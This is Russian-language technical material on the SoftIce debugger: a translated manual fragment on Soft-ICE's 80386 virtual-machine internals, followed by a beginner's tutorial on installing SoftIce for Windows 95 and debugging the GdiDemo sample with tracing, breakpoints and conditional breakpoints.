Soft-ICE работает с большинством других отладчиков, пользуясь преимуществами
отладочного прерывания семейства 8086 (INT 3). Большинство отладчиков
используют однобайтовую команду INT 3 (CCH) для выполнения точек останова.
Целевая команда заменяется на INT 3. Когда выполнение достигает целевого
адреса, управление передается обработчику INT 3 отладчика. Затем отладчик
заменяет (CCH) на первый байт первоначальной команды.
Когда выполняются точки останова Soft-ICE, в зависимости от команды ACTION,
может произойти одно из нескольких событий. Обычно при использовании Soft-ICE
с другим отладчиком, ACTION устанавливается на INT3. Когда выполняется условие
останова, Soft-ICE передает управление главному отладчику при помощи эмуляции
INT 3.
Некоторые отладчики могут работать неправильно при эмуляции INT 3. Для этих
отладчиков обеспечены две другие опции ACTION. Это - INT1 и NMI.
INT 1 - пошаговое прерывание семейства 8086. Большинство отладчиков будут
обрабатывать незапрашиваемый INT 1 как точку останова. NMI поддерживается
большинством отладчиков как средство выхода из зависания. Эти отладчики были
разработаны для аппаратных переключателей выхода, которые производили
немаскируемое прерывание. Когда ACTION установлено на NMI, Soft-ICE эмулирует
немаскируемое прерывание (Interrupt2). CODEVIEW работает лучше всего с ACTION,
установленным на NMI.
13.2 Основы Виртуальных Машин
Магия Soft-ICE стала возможной из-за возможностей виртуальной машины
процессора 80386. Soft-ICE выполняется в защищенном режиме 80386 и
управляет окружением DOS. Схема защиты 80386 дает Soft-ICE полный
контроль над окружением DOS, в то же время защищая его от "капризных"
программ.
Как генерируются точки останова Soft-ICE?
Soft-ICE использует три разных возможности 80386 для создания точек останова:
* Точки останова на ячейку памяти используют регистры
останова 80386
* Точки останова на диапазоны памяти используют механизм
страничной организации 80386
* Точки останова на команды ввода/вывода используют уровень
привилегий ввода/вывода и битовую маску ввода/вывода
Как выполняется команда BREAK?
Команда BREAK позволяет использовать клавиатуру для вызова Soft-ICE, даже
когда прерывания отключены и система зависла. Soft-ICE виртуализирует
механизм прерываний, так что для Soft-ICE прерывания никогда не отключаются,
даже когда они отключены для программы DOS, выполняющейся в виртуальной
машине.
В режиме BREAK виртуализируются следующие команды, чтобы удостовериться что
флаг прерывания никогда не сбрасывается:
PUSHF
POPF
STI
CLI
INT n
IRET
Специальные соображения о виртуальном режиме 8086
Soft-ICE выполняет DOS в виртуальной машине 8086. Эта возможность - главная
особенность микропроцессора 80386. При выполнении программ реального режима
(DOS и т.д.) в виртуальной машине, программой, контролирующей виртуальную
машину, должны эмулироваться некоторые особенности 8086. В нашем случае
виртуальную машину контролирует Soft-ICE. Soft-ICE поддерживает следующие
особенности:
* Функции прерывания ROM BIOS 15H : 87H, 88H
и 89H
* Недокументированная команда loadall
* Управление Адресной Линией 20H
* Команды защищенного режима 80286 и 80386
* Ошибки 80386
Функции прерывания ROM BIOS 15H : 87H, 88H
и 89H
Функция BIOS 87H позволяет программе обращаться к
памяти выше одного мегабайта на архитектуре IBM AT
или Personal Series II через механизм перемещения блоков.
Функция 88H возвращает размер расширенной памяти.
Эти функции используются драйвером устройства VDISK.
Soft-ICE эмулирует эти вызовы BIOS для совместимости
с VDISK. Функция 89H обычно используется для перехода в
защищенный режим, но Soft-ICE не может позволить
этому случиться. Вместо этого возвращает установленный флаг переноса.
Неописанная команда loadall
80286 содержит неописанную команду, называемую
loadall. Эта команда первоначально помещалась на
чип в диагностических целях и в основном не
используется программным обеспечением. Однако, она
используется некоторыми версиями RAMDRIVE фирмы
Microsoft, который продается с Microsoft Windows и
MS-DOS 3.2. Soft-ICE эмулирует loadall, чтобы обеспечить
работу RAMDRIVE, однако, невозможно произвести полную
эмуляцию этой команды.
Управление Адресной Линией 20H
IBM AT предоставляла специальную особенность, позволяющую некоторым старым
программам, которые первоначально были написаны для CP/M функционировать на
процессоре 80286. Эта возможность давала обращениям к памяти, возвращающимся
в нулевую область на 8086 при выходе за границу мегабайта, работать на 80286.
Некоторые программы отключают эту "совместимость", чтобы обращаться к памяти
выше одного мегабайта в режиме реальной адресации. Soft-ICE эмулирует эту
способность. Она обеспечивается на всех машинах 80386 AT через контроллер
клавиатуры и через порт ввода/вывода 92H на PS/2.
Команды защищенного режима 80286 и 80386
Некоторые специфические программы AT использовали команды защищенного режима
80286. С появлением 80386 некоторые программы 80386 используют команды
защищенного режима 80386. Эти программы не будут работать с Soft-ICE.
Soft-ICE обеспечивает стандартные расширения режима реальной адресации,
которые фирма Intel включила в процессоры 80186 и 80286 (PUSHALL, POPALL и
т.д.), но не команды защищенного режима типа LGDT, LMSW и т.д.
Ошибки 80386
Есть несколько ошибок в работе чипа 80386. Большинство этих ошибок относятся
только к программному обеспечению защищенного режима (типа Soft-ICE).
Softice
Оглавление 1. Введение. 2. Что такое SoftIce? 3. Инсталляция. 4. Первые шаги. 5. Эпилог. |
Введение
Цель данной статьи - ответы на вопросы, которые задают новички:
Что такое SoftIce, и для чего он нужен?
Я поставил SoftIce, что мне делать дальше?
Где взять русскую документацию?
Почему у меня ничего не работает?
Все эти вопросы возникают по одной простой причине: вся документация, которую можно найти в Internet'e, написана на английском языке, автору известна только одна статья на русском языке, и та, к сожалению, очень не полная. Чтобы заполнить этот информационный вакуум, и было написано это эссе. Сколько человек, столкнувшись с этими проблемами, "снесли" SoftIce и забыли о нем как о страшном сне, подсчитать трудно, а жаль - ведь это лучший отладчик на сегодняшний день.
Сразу хочется сделать несколько замечаний: первое, если вы после прочтения этой статьи все-таки возьметесь за SoftIce, то вам придется заняться английским языком, хотите вы этого или нет (почему - см.выше); второе, данная статья не претендует на роль документации, она была составлена как обзор той информации, которая была у автора на английском языке, а это фирменное руководство от фирмы NuMega - автора SoftIce-a, статьи и эссе, найденные в Интернете на различных сайтах, посвященных SoftIce и Reverse Engineering. По этой причине в статье возможны ошибки и неточности, автор будет благодарен за их исправление. В статье описывается последняя версия SoftIce 3.24 для WIN95, но большая часть сказанного относится и к предыдущим версиям. Предполагается, что читающие эту статью имеют минимальные знания об устройстве процессора и компьютера и представляют, что такое ассемблер.
Что такое SoftIce?
SoftIce состоит из отладчика уровня ядра (kernel mode debugger) (собственно, это и есть отладчик) и утилиты загрузчик отладочной информации (Symbol Loader). SoftIce – это универсальный отладчик, которым можно отладить любой код, включая подпрограммы прерывания и драйверы ввода-вывода.
Утилита Symbol Loader загружает отладочную информацию для вашего модуля, позволяет настроить SoftIce, и дает возможность записать историю комманд (history buffer) в файл.
SoftIce совмещает в себе мощь аппаратного отладчика и удобство символьного, он имеет следующие возможности:
Символьная отладка 32-битных приложений, отладка драйверов устройств для WIN NT, драйверов для WIN95, VxD, 16-битных программ для DOS и Windows.
Отладка фактически любого кода, включая подпрограммы прерывания и внутренние подпрограммы WIN 95 и WIN NT.
Установка точек останова на операции чтения/записи в память, чтения/записи портов ввода-вывода, прерываний.
Установка точек останова на сообщения Windows.
Установка точек останова, срабатывающих при определенных условиях (условных точек останова), и действий, которые должны произойти при срабатывании точки останова.
И многое другое ...
Symbol Loader позволяет прочитать отладочную информацию из отлаживаемых программ (EXE, DLL, VxD, 386, OCX) и загрузить ее в отладчик, запустить ваше приложение и автоматически установить точку останова на точку входа в программу, записать в файл протокола отладки.
Инсталляция
Аппаратные требования (от NuMega):
Процессор:486 или Pentium.
ОЗУ:необходимо 16 Мб (хотя в свое время работал и на 8), желательно 32 Мб.
Мышка:обычная или PS (интересно, а кто в виндах без нее работает?).
Видеокарта:начиная с версии 3.2, в SoftIce входит универсальный дисплейный адаптер, который должен работать с любой видеокартой, также есть драйвера и для большого числа видеокарт.
SoftIce поддерживает работу с:
одной видеокартой (стандартный вариант)
с двумя видеокартами (вторая видеокарта должна быть MDA (Monochrome Display Adapter) или Hercules-совместимая)
с двумя обычными видеокартами при условии, что они будут работать вместе
удаленную отладку (со вторым компьютером, который соединяется с первым посредством COM-порта (remote debugging));
На диске занимает 5,8 Мб.
При инсталляции, как обычно, введите директорию, куда вы хотите поставить SoftIce, выберите компоненты, которые хотите поставить, после чего попадете в окно выбора видеоадаптера.
SoftIce сам определяет видеокарту, если она соответствует вашей - нажмите кнопку Test, экран должен переключится в текстовый режим и вы увидите фразы “SoftIce is totally awesome!” на всем экране, а в середине отсчет цифр от 5 до 1. Если вы это увидели, то значит настройка видеоадаптера прошла успешно - жмите кнопку Next, если же у вас сбилась развертка, пропало изображение или повисла машина, то значит у SoftIce проблемы с видеокартой, для их решения существуют два пути: первый, включить универсальный видеоадаптер – должно помогать всегда (на моем Matrox Mistique проходит только этот вариант), тогда SoftIce будет работать в окне: второй, подобрать из числа представленных видеоадаптеров аналог вашему (у меня с S3 TRIO 64 вис (правда SoftIce был 3.01), а с DS 2000 работал на-ура); вам решать какой вариант лучше.
После выбора адаптера выберите тип мыши, которой вы пользуетесь (хотя мышь можно и не ставить, без нее тяжело работать в SoftIce). Далее разрешите модифицировать свой autoexec.bat для того, чтобы SoftIce загружался при старте компьютера. Подтвердите выбранную конфигурацию и следите за тем, как SoftIce ставится на вашу машину. На предложение перезагрузить компьютер, согласитесь. После перезагрузки нажмите клавиши Ctrl-D. Если вместо рабочего стола вы увидите какие-то непонятные буквы и цифры, то считайте, что установку SoftIce на машину вы закончили, и наступает этап настройки. Если же ничего не случилось, или машина повисла при загрузке, то проверьте все ли вы правильно сделали. Если SoftIce не загрузился, проверьте, прописана ли в autoexec.bat строка запуска, она всегда последняя и выглядит приблизительно так: C:\WINDEBUG\SICE324\WINICE.EXE, если нет - пропишите ее с вашим путем. Если машина повисла, то причина, скорее всего в неверной конфигурации видеоадаптера. Попробуете изменить ее.
Кстати, все настройки, которые вы проводили при инсталляции можно изменить: Пуск – Программы – NuMega SoftIce.
Настройка:
Откройте на редактирование файл winice.dat, который находится в той же директории что и SoftIce (в случае NT - в каталоге %SystemPath%\system32\drivers), и уберите точку с запятой со следующих строк:
; ***** Examples of export symbols that can be included for Windows 95 ***** ;Change the path to the appropriate drive and directory EXP=c:\windows\system\kernel32.dll - убрать; EXP=c:\windows\system\user32.dll - убрать; EXP=c:\windows\system\gdi32.dll - убрать;
Проверьте путь к файлам kernel32,user32,gdi32, он должен соответствовать вашему (Актуально в случае, если windows ставилась в каталог отличный от C:\WINDOWS).
Эта операция нужна для того, чтобы при отладке программы при вызове системных функций вы увидели имя вызываемой функции, а не какой-то call [xxxxxxxx].
Пример:
Call [USER32!GetWindow], вместо CALL [BFC01480].
На мой взгляд первое выглядит значительно информативней.
Исправьте строку INIT в соответствии с одним из примеров:
INIT="WR;WD;WL;X;" – если вы используете видеодрайвер для "родной" видеокарты (полноэкранный режим).
INIT="SET FONT 3;SET ORIGIN -10 25;WR;WD 4;WL;WC 12;X;" – если вы используете универсальный видеодрайвер (оконный режим).
INIT="SET FONT 1; SET ORIGIN 30 30;LINES 60;WIDTH 90;WR;WD 4;WL;WC 12;X;" – вариант, работающий на моей машине и выводящий на экран максимум информации (оконный режим), возможно для вашей машины потребуется изменить значение некоторых параметров.
Если вы хотите передвинуть окно с SoftIce, то используйте клавиши Ctrl-Alt-(одна из клавиш управления курсором).
Более подробно команды и переменные SoftIce будут рассмотрены ниже, тогда вы сможете настроить SoftIce на свой вкус.
Первые шаги
Если вы все еще читаете этот опус, то для вас настал долгожданный момент истины :-), пора посмотреть как это все работает в деле. В поставку SoftIce входит пример GdiDemo, его и будем отлаживать (придерживаясь указаний фирмы NuMega).
Пример без проблем собрался в VC4 (не забудьте включить отладочную информацию), в BC 5.02 пример тоже собрался, но отладочную информацию Symbol Loader не увидел, хотя в TD она грузится. Тот, кому лень собирать проект самому, может скачать его отсюда: Gdidemo.zip
(или отсюда), архив занимает 0.1 Мб.
1. Загрузка отлаживаемой программы.
Запускаем Symbol Loader, выбираем опцию Open module в меню File, идем туда, где у вас лежит Gdidemo.exe, и открываем его, далее в меню Module нажимаем на опцию Load. SL оттранслирует отладочную информацию в .NMS файл, загрузит исходные файлы, запустит отлаживаемую программу (в данном случае Gdidemo) и всплывет в SoftIce, где вы увидите исходный текст программы.
Подсвеченная строка с номером 35 – это точка входа (entry point) в вашу программу. Если SL вывел сообщение типа "An error occured during symbol translation/load", значит в отлаживаемом файле отсутствует отладочная информация, жмите OK и наслаждайтесь [диз]ассемблером.
2. Управление SoftIce'ом.
Если Вы все правильно сделали, то вы должны увидеть SoftIce разбитый на несколько окон. Верхнее окно – Register Window (окно регистров) – показывает состояние рабочих регистров процессора. Под ним находится окно данных Data Window, в нем вы можете посмотреть или отредактировать дамп памяти. Ниже находится Code Window (окно кода) – в нем находится исходный текст программы (если вы загрузили отладочную информацию), или дизассемблированный код программы. В самом низу находиться окно команд - Command Window, в нем вы можете вводить команду и видеть результат их выполнения. Самая нижняя строчка – строка помощи, в ней при вводе подсвечиваются возможные варианты команд и их синтаксис. Удобнее всего управлять SoftIce с помощью мышки, но можно и без нее, хотя и не так удобно.
2.1 Управление с помощью мышки:
Вы можете: изменять размер окон и закрывать их (нельзя изменить размер окна регистров и FPU); скроллировать окна как на одну строку, так и на целый экран; изменять значение регистров, флагов, ячеек памяти, устанавливать точки останова на исполнение, удалять из Watch Window переменные, которые больше не нужны. Правая кнопка мыши вызывает контекстное меню, в котором вы можете выбрать одну из представленных команд; работают команды с буфером обмена Windows.
Изменение размера окна - подведите курсор к нижней границе того окна, которому хотите изменить размер или закрыть его, нажмите левую кнопку мыши и ведите ее вниз (увеличение размера) или вниз (уменьшение размера), если хотите закрыть окно, подведите нижнюю границу к верхней, в окне появится фраза Close current window и окно исчезнет.
Скроллинг на одну строку – подведите курсор к маленьким стрелочкам, расположенным у границ того окна, которое хотите скроллировать и жмите левую кнопку мыши (стрелочки появляются, если размер окна больше или равен двум строчкам).
Скроллинг на экран – подведите курсор к большим стрелочкам расположенным внутри того окна, которое хотите скроллировать и жмите левую кнопку мыши (стрелочки появляются, если размер окна больше или равен четырем строчкам).
Изменение значений регистров – подведите курсор к тому регистру, значение которого хотите изменить, нажмите левую кнопку мыши и введите число, если нужно изменить одну цифру, то подводите курсор к этой цифре и меняйте.
Изменение значений флагов – подведите курсор к тому флагу, который хотите изменить, нажмите левую кнопку мыши, после чего клавишей Ins можно изменить значение флага на противоположное (маленькая буква означает, что флаг не установлен, большая установлен).
Изменение значений ячеек памяти – подведите курсор к тому байту (слову, двойному слову и т.д.), которое хотите изменить, нажмите левую кнопку мыши и вводите ваше значение, если хотите изменить одну или несколько цифр в числе, то подведите курсор с помощью клавиатуры к нужным числам и меняйте.
Примечание: во всех случаях изменения значений они вступают в силу после того, как вы переключитесь в любое другое окно, до этого можно отменить последнее изменение, нажав Esc.
Установка точек останова на исполнение – подведите курсор к той строке в Code Window, в которой хотите остановиться, и двойным щелчком по левой кнопке мыши поставьте точку останова, строка подсветится.
Удаление из Watch Window переменных – установите курсор на переменную, которую хотите удалить, нажмите левую кнопку мыши, переменная подсветиться, нажмите кнопку Del – переменная исчезнет.
Контекстное меню – по правой кнопке мыши вы попадаете в контекстное меню, в котором вам доступны команды:
Copy – копировать в буфер обмена адрес или данные, находящиеся под курсором.
Paste – вставить в окно команд, адрес или данные находящиеся в буфере обмена
Copy&Paste - копировать в буфер обмена адрес или данные, находящиеся под курсором, и вставить их в окно команд.
Display – вывести в окно данных дамп памяти, расположенный по адресу, над которым в данный момент находиться курсор (Аналог команды D).
Un-Assemble – вывести в Code Window исходный (если есть отладочная информация) или дизассемблированный текст программы, находящийся по адресу, над которым в данный момент находиться курсор (Аналог команды U).
What – идентифицирует значение, находящееся под курсором с заранее определенными (Аналог команды Wath).
Previous – отменяет предыдущую команду, введенную из контекстного меню (работает с командами Display и Un-Assemble).
2.2 Управление с помощью клавиатуры:
Можете делать все то же самое, но будет отсутствовать контекстное меню и буфер обмена.
Изменение размера окна – размер (в строках) непосредственно задается в команде открытия окна, если нужно.
WC – открыть окно кода (Code Window).
WD – открыть окно данных (Data Window).
WF – открыть окно FPU Stack (FPU Stack Window).
WL – открыть окно локальных переменных (Locals Window).
WR – открыть окно регистров (Register Window).
WW – открыть окно слежения (Watch Window).
Повторный ввод этих команд без параметров закрывает соответствующие окна, с параметрами – меняет размер.
По умолчанию курсор находиться в окне команд. Переместить курсор в нужное окно можно следующими комбинациями клавиш (если вы находитесь в окне команд (Command Windows)):
Перейти в окно кода (Code Window)Alt-C
Перейти в окно данных (Data Window)Alt-D
Перейти в окно локальных переменных (Locals Window)Alt-L
Перейти в окно регистров (Register Window)Alt-R
Перейти в окно слежения (Watch Window)Alt-W
В окно сопроцессора курсор переместить нельзя.
Повторное нажатие этих клавиш возвратит вас обратно в окно команд (все вышесказанное действительно и для Code Window).
В окне данных переключиться между дампами в HEX и ASCII формате можно с помощью клавиши Tab, с ее же помощью можно переходить между регистрами в окне регистров.
Скроллинг на одну строку – переходите в нужное окно и клавишами управления курсор вверх и курсор вниз скроллируете окно.
Скроллинг на экран - переходите в нужное окно и клавишами PageUp и PageDown скроллируете окно.
Примечание: Code и Data Window можно скроллировать и не переключаясь в них из окна команд, для этого нужно кроме управляющих клавиш удерживать еще Alt для Data Window и Ctrl для Code Window.
Изменение значений регистров – перейдите в окно регистров, подведите курсор к тому регистру, значение которого хотите изменить и введите число, если нужно изменить одну цифру, то подводите курсор к этой цифре и меняйте, нажатие Enter подтверждает изменение, Esc отменяет.
Изменение значений флагов – перейдите в окно регистров, подведите курсор к тому флагу, который хотите изменить. После чего, клавишей Ins можно изменить значение флага на противоположное (маленькая буква означает, что флаг не установлен, большая - установлен), Enter можно не нажимать.
Изменение значений ячеек памяти – перейдите в окно данных, подведите курсор к тому байту (слову, двойному слову и т.д.), которое хотите изменить и вводите ваше значение, если хотите изменить одну или несколько цифр в числе, то подведите курсор с помощью клавиатуры к нужным числам и меняйте. Нажатие Enter или переход к следующему числу подтверждает изменение, Esc отменяет.
Установка точек останова на исполнение – в окне команд наберите команду BPX и введите адрес строки, на которой хотите остановиться.
Удаление из Watch Window переменных – перейдите в Watch Window, установите курсор на переменную, которую хотите удалить, переменная подсветиться, нажмите кнопку Del – переменная исчезнет.
После небольшой лекции по управлению SoftIce можно заняться и собственно отладкой.
Так как мы отлаживаем программу, написанную на языке высокого уровня и с отладочной информацией, то можем отключить окно регистров и окно данных, и включить Locals Window, что бы видеть какие параметры передаются в процедуры (т.е. WD,WR,WL при условии, что пользовались настройками приведенными выше).
Что бы посмотреть какие из исходных текстов программы были загружены - дайте команду FILE *.
На экране в окне команд вы увидите имена файлов содержащих исходные тексты программы GdiDemo: Bounce.c, Wininfo.c, Poly.c, Maze.c, Init.c, Draw.c, Dialog.c, Xform.c, Gdidemo.c. Так как окно команд обычно небольшое, то вы увидите несколько первых имен файлов. В строке помощи будет присутствовать надпись "Press any key to continue; Esc to cancel", вы можете с помощью клавиши Enter. Получить следующую строку с именем файла, или, нажав на пробел, получить следующую порцию строк с именами файлов (действительно для всех сообщений выводимых в окне команд).
Если в процессе изучения листинга программы вы забрались слишком далеко от текущего значения EIP, то вернутся можно командой:
:U EIP – дизасемблировать программу начина с текущего EIP адреса, либо командой;
:. (точка) – переместиться к текущей исполняемой инструкции.
3. Трассировка программы.
Воспользуйтесь командой T (trace) для того чтобы оттрассировать одну команду, или клавишей F8, которая закреплена по умолчанию за командой T. Произойдет выполнение команды находящейся в текущей строке и курсор перейдет на следующую строку и подсветит ее. Это строка:
LpszLine=LpszLine;
Еще раз нажмите F8, курсор передвинется на следующую строку:
if(!hPrevInst).
В Code Window вы видите исходный текст программы (source mode). Если вы хотите посмотреть дизассемблированный (code mode) текст программы или исходный и дизассемблированный (mixed mode) текст вместе, воспользуйтесь командой SRC или клавишей F3 закрепленной за этой командой. При первом нажатии вы увидите смешанный (исходный текст программы и ассемблерные инструкции, из которых состоит эта строка) текст, при втором нажатии дизассемблированный, третье нажатие вернет вас в режим просмотра исходного текста программы.
Нажмите еще раз F8 и вы перейдете к строке
if(!RegisterAppClass(hInst));
Для того, чтобы отлаживать программу, вы пользуетесь командой Т, которая исполняет один оператор исходной программы или одну машинную команду.
Еще существует команда P или клавиша F10, которая выполняет один шаг в программе, т.е. при трассировке какой-либо функции или прерывания вы не получите управления до тех пор, пока выполнение функции не завершится, и вы не вернетесь из функции обратно. Команду P удобно применять в том случае, когда вы отлаживаете основной алгоритм и отвлекаться на трассировку каждой процедуры нерационально.
Примечание: Командой T нельзя оттрассировать системные вызовы (WIN32 API calls) находясь в source mode, для их трассировки нужно перейти в mixed или code mode.
4. Просмотр локальных переменных.
Окно Locals Window показывает текущий кадр стека. В нашем случае он содержит локальные переменные для функции WinMain.
Командой T войдите в функцию RegisterAppClass, окно Locals Window станет пустым, так как для этой функции еще не определены локальные переменные. Функция RegisterAppClass находится в файле INIT.C. SoftIce показывает текущий файл в левом верхнем углу Code Window
Введите команду T снова, окно Locals Window будет содержать параметр переданный функции RegisterAppClass (hInstance) и локальную структуру wndClass. Перед структурой стоит знак плюс, который означает что внутри находятся переменные, которые можно посмотреть (так же можно смотреть строковые переменные и массивы). Если у вас Pentium и вы пользуетесь мышкой, то посмотреть структуру можно два раза щелкнув по ней мышкой, знак + сменится на – и вы увидите переменные из которых состоит структура. Закрыть структуру можно так же (двойным щелчком мыши). Если вы пользуетесь клавиатурой то последовательность действий такова: жмем Alt-L для перехода в Locals Window, затем курсорными клавишами подводим светящуюся полоску к структуре, которую хотим посмотреть и нажимаем Enter. Если требуется закрыть ее, то нажимаем Enter еще раз.
5. Установка точек останова на выполнение.
Точки останова на выполнение делятся на два вида: просто точки останова и однократные точки останова.
Однократные точки останова:
Перейдите в Code Window, используя клавишу PgDn переместите курсор на строку с номером 61 (тоже самое можно сделать используя команду U .61), в этой строке находиться первый вызов функции Win32 API RegisterClass. Используя команду HERE (клавиша F7) выполните программу до этой строки.
Команда HERE устанавливает точку останова в программе на адрес или строку на которой находиться курсор и выполняет программу с текущего адреса до адреса на котором находиться курсор, т.е. до тех пор пока не сработает точка останова, после срабатывания SoftIce автоматически отключит эту точку останова, что бы она больше не срабатывала.
Текущей строкой в отлаживаемой программе стала строка:
If(!RegisterClass(&wndClass))
Примечание: того же самого результата можно было добиться если бы вы дали команду G .61 (исполнять программу до строки 61).
Обычные точки останова.
Следующие шаги демонстрируют использование обычных точек останова, т.е. таких которые будут срабатывать до тех пор пока вы их не отмените. Найдите следующий вызов функции RegisterClass, находящийся в строке 74. Установите курсор на эту строку и введите команду BPX (BreakPoint eXecutable) или клавишу F9 (по этой команде, в память на место команды расположенной под курсором записывается команда INT3, но вы этого не видите :-)). Строка должна подсветиться (если вы находитесь в code mode, то после команды BPX необходимо указать адрес строки на которую хотите поставить точку останова). Снять точку останова можно повторным вводом этой же команды. Если вы счастливый обладатель процессора Pentium, то процесс установки и снятия точки останова сводится к двойному щелчку левой кнопкой на той команде, где хотите поставить точку останова. После установки точки останова запустите программу командой G или X (клавиша F5). Когда программа исполнит инструкцию INT3, она передаст управление SoftIce, после чего он появиться перед вами.
Посмотреть информацию об установленных точках останова можно командой BL (BreakPoint List):
:BL
00) BPX #0137:00402442 (адрес может быть другим).
Видим что установлена одна точка останова на исполнение по адресу 00402442, с порядковым номером 0. По этому адресу находиться команда, расположенная в текущем файле INIT.C в строке 74. Вы можете использовать вычисление выражений, для того чтобы получить адрес строки по ее номеру:
:? .74
void * = 0x00402442
Так как дальнейшая пошаговая трассировка функции RegisterAppClass не имеет для нас смысла, вернемся в то место, откуда эта функция вызывалась. Для этого существует команда P с параметром RET (клавиша F12). Она позволяет выполнять программу до тех пор пока не встретит команду RET (RETF), исполнив эту команду SoftIce выйдет из подпрограммы и остановиться на строке следующей за вызовом этой подпрограммы. Применительно к нашей программе: функция RegisterAppClass вызывается из функции WinMain, SoftIce остановиться в функции WinMain на строке следующей за вызовом функции RegisterAppClass, т.е. подсвечена будет строка:
Msg.wParam = 1;
Воспользуйтесь командой BC (Breakpoint Clear) с номером точки останова, который вы посмотрели с помощью команды BL, для того, что бы убрать именно эту точку останова, или вместо номера введите *, тогда вы уберете все точки останова (можно вводить номера точек останова через запятую, если хотите убрать несколько точек).
6. Использование информационных команд.
SoftIce имеет в своем распоряжении много разных команд, с помощью которых можно узнать состояние и получить иную информацию об операционной системе и запущенных в ней приложениях. Мы рассмотрим только две команды: H (Help) и CLASS. Эти команды выводят достаточно много информации в окне команд (Command Window), поэтому желательно увеличить размер этого окна, для этого закроем окно локальных переменных (Locals Window).
По команда H можно получить помощь по всем командам SoftIce или более подробную информацию о конкретной команде, если введете ее имя в качестве аргумента команды H:
:H CLASS
Display window class information
CLASS [-x] [task-name]
Ex: CLASS USER
Первая строка дает описание команды, вторая показывает информацию о синтаксисе и аргументах, которые могут использоваться в команде, третья строка содержит пример использования команды.
Целью выполнения функции RegisterAppClass является регистрация шаблона для классов окон, которые будут использованы приложением GdiDemo для создания окон. Используя команду CLASS можно посмотреть зарегистрированные классы для GdiDemo:
:CLASS GDIDEMO
Результатом выполнения данной команды является информация о каждом зарегистрированном классе окна. Информация включает в себя: имя класса, адрес внутренней структуры данных WNDCLASS, модуль который зарегистрировал данный класс, адрес процедуры, которая обслуживает данный класс и состояние флагов стиля класса. Для получения подробной информации воспользуйтесь ключом –X.
Handle | Class Name | Owner | WndwProc | Styles |
5110 | BOUNCEDEMO | GDIDEMO | 2E9F:00000114 | 03000003 |
40AC | DRAWDEMO | GDIDEMO | 2E9F:000000FE | 03000003 |
409C | MAZEDEMO | GDIDEMO | 2E9F:000000E8 | 03000003 |
3BC4 | XFORMDEMO | GDIDEMO | 2E9F:000000D2 | 03000003 |
3BB4 | POLYDEMO | GDIDEMO | 2E9F:000000BC | 03000003 |
3A00 | GDIDEMO | GDIDEMO | 2E9F:000000A6 | 03000003 |
Когда вы загружаете приложение с отладочной информацией, SoftIce автоматически создает таблицу символьных имен которая содержит все имена, определенные в данном приложении. Используя команду TABLE можно посмотреть какие таблицы символьных имен загружены в настоящий момент:
:TABLE
GDIDEMO [NM32]
0001044741 Bytes Of Symbol Memory Available
Используемая в данный момент таблица символьных имен выделена цветом. Если текущая таблица символьных имен не соответствует той на которую ссылается ваше приложение, то используя команду TABLE с именем вашего приложения в качестве аргумента, вы подключите нужную таблицу (если для вашего приложения создана таблица):
:TABLE GDIDEMO
Используя команду SYM вы можете посмотреть все символьные имена, определенные в текущей таблице (на экран выводятся по сегментам, внутри них в алфавитном порядке).
Если интересует какие- то определенные имена, то используйте шаблоны:
:SYM w*
.text | (0137:00401000 | , 000145C1 bytes) |
0137:004012E0 | WinMain | |
0137:00405700 | WinMainCRTStartup | |
0137:004013AD | WndProc | |
0137:0040AF50 | wcslen | |
0137:0040C160 | wcsncnt | |
0137:004107A0 | wctomb | |
0137:0040FA50 | write_char | |
0137:0040FAD0 | write_multi_char | |
0137:0040FB20 | write_string |
8. Условные точки останова.
Одним из символов, определенных в приложении GDIDEMO, является функция LockWindowInfo. Назначение этой функции – возвращение адреса переменных, которые определяют свойства окна. Для того, чтобы ознакомиться с условными точками останова и точками останова на доступ к памяти, мы выполним следующие действий:
Установим точку останова на функцию LockWindowInfo
Отредактируем поставленную точку останова таким образом, чтобы она срабатывала по определенному нами условию.
Установим точку останова на доступ к ячейки памяти, для того чтобы отследить обращения к этой ячейке.
Установка точки останова на функцию LockWindowInfo.
Командой BPX LockWindowInfo поставим точку останова на выполнение на эту функцию. Каждый раз, когда в одном из окон приложения GDIDEMO нужно будет обновить информацию, программой будет вызываться функция LockWindowInfo, так как на эту функцию поставлена точка останова, то будет вызываться SoftIce. Командой BL проверьте, установилась ли точка останова. Запустите приложение командой X или G. Как только будет вызвана функция LockWindowInfo, SoftIce всплывет. Так как обновление происходит постоянно, то постоянно вызывается и SoftIce, что очень неудобно, если нас интересует обновление какого-либо конкретного окна. Чтобы перехватить вызов на обновление конкретного окна, к примеру, POLYDEMO, воспользуемся условной точкой останова.
Из исходного текста программы (файл wininfo.c) видно, что функция LockWindowInfo получает в качестве входного аргумента один параметр HWND (Handle Window) – дескриптор окна, и возвращает в вызывающую функцию одно значение – указатель на переменные для данного окна. То есть если бы мы заставили срабатывать точку останова только на обработчик окна POLYDEMO, мы бы добились своей цели. Для начала нам необходимо узнать дескриптор нашего окна, для этого воспользуемся командой:
:HWND GDIDEMO
WindowHandle | hQueue | SZ | Qowner | ClassName | WindowProcedure |
0724(1) | 10FF | 32 | GDIDEMO | GDIDEMO | 365F:000001C4 |
0728(2) | 10FF | 32 | GDIDEMO | MdiClient | 17A7:00001988 |
0734(3) | 10FF | 32 | GDIDEMO | BOUNCEDEMO | 365F:00000232 |
0730(3) | 10FF | 32 | GDIDEMO | POLYDEMO | 365F:000001DA |
072C(3) | 10FF | 32 | GDIDEMO | DRAWDEMO | 365F:0000021c |
ESP = 0055FC00
013F:0055FC00 00404852 00000730 0055FC3C 00008CAA
число 00404852 – это адрес, на который программа перейдет после завершения работы нашей функции (адрес возврата);
число 00000730 – это дескриптор окна POLYDEMO (собственно то, что нас интересует);
Теперь зная, где и что у нас передается в функцию, мы можем выставить условную точку останова.
Для этого вызовем на редактирование точку останова, поставленную на функции LockWindowInfo:
:BPE 0
в нижней строке командного окна появиться строка:
:BPX LockWindowInfo
и курсор установиться в конце строки, теперь можете редактировать точку останова по своему усмотрению, в конце строки добавьте следующее условие: IF ESP->4 == 00000730 и нажмите Enter.
Точка останова теперь будет выглядеть так:
:BPX LockWindowInfo IF ESP->4 == 00000730
То есть она будет срабатывать тогда, когда двойное слово по адресу ESP+4 будет равным числу 00000730, которое соответствует дескриптору окна POLYDEMO. Проверьте командой BL, соответствует ли точка останова заданной, запускайте приложение и убедитесь, что вся эта конструкция замечательно работает.
